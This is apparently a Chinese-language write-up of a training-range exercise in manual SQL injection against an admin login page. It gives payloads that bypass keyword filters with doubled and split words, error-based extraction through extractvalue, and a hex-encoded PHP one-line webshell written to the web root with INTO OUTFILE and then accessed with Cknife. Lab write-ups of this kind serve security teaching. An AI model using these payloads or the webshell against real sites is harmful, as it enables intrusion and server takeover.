理论基础
SQL注入的手工注入需要自行构造PayLoad,先学习下相关SQL语法:
limit
union
攻击过程
墨者学院靶场链接
首先,上御剑扫描后台:
找到后台管理员登录页面:
在用户名处输入“admin'
",发现存在报错型SQL注入:
接下来进行SQL注入的利用,使用SQLMap发现无法跑出数据,只能手工注入了。为了避免每次都输入用户名、密码和验证码,使用BurpSuite抓包并发送到Repeater模块:
注入绕过
尝试获取数据库名' union select 1,2,3,4,database() #
(“#
”为注释符号,注释掉目标Payload后面的SQL语句“’ limit 0,1
”),结果发现 union 和 select 被后台过滤:
尝试使用双写绕过——“' uniunionon selselectect 1,2,3,4,database() #
”,结果发现只有selselectect
起作用(成功转换为select
)而uniunionon
不起作用:
接着尝试使用空格来绕过过滤——“' uni union on selselectect 1,2,3,4,database() #
”发现成功了,正常报错了:
综上,没法直接用以上PayLoad获得回显查看数据库名称,但是我们知道注入失败的时候是有回显的。所以我们用报错注入试一下“' a and nd extractvalue(1,concat(1,database()))#
”(此处对于关键字“and”同样采用双写+空格绕过),发现可以爆出当前数据库:
可以(借助在BP响应包中右键选择“Request in browser”)将响应包放在浏览器中查看:
SQL传马
接下来准备利用SQL注入漏洞,直接上传一句话木马上去:admin'un union ion seselectlect 1,< ?php @eval($_post[cmd])?>,3,4,5 in into outoutfilefile '/var/www/html/shell.php' #
(此处outfile
同样得双写绕过),但是却发现“<>
”两个尖括号被过滤了,木马上传不成功:
访问 http://219.153.49.228:49038/shell.php,显示文件不存在:
使用16进制绕过,将一句话木马进行16进制编码,同时前面加上0x,这种方法也可以用在SQL注入传参时引号被限制的情况的绕过注入代码:admin'un union ion seselectlect 1,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b203f3e,3,4,5 in into outoutfilefile '/var/www/html/sbw.php'#
访问 http://219.153.49.228:49038/sbw.php,显示文件上传成功:
文件中的密文是“admin”账号的密码:
但是我们已经上传了WebShell,直接上Cknife连接:
获得Key文件,攻击结束: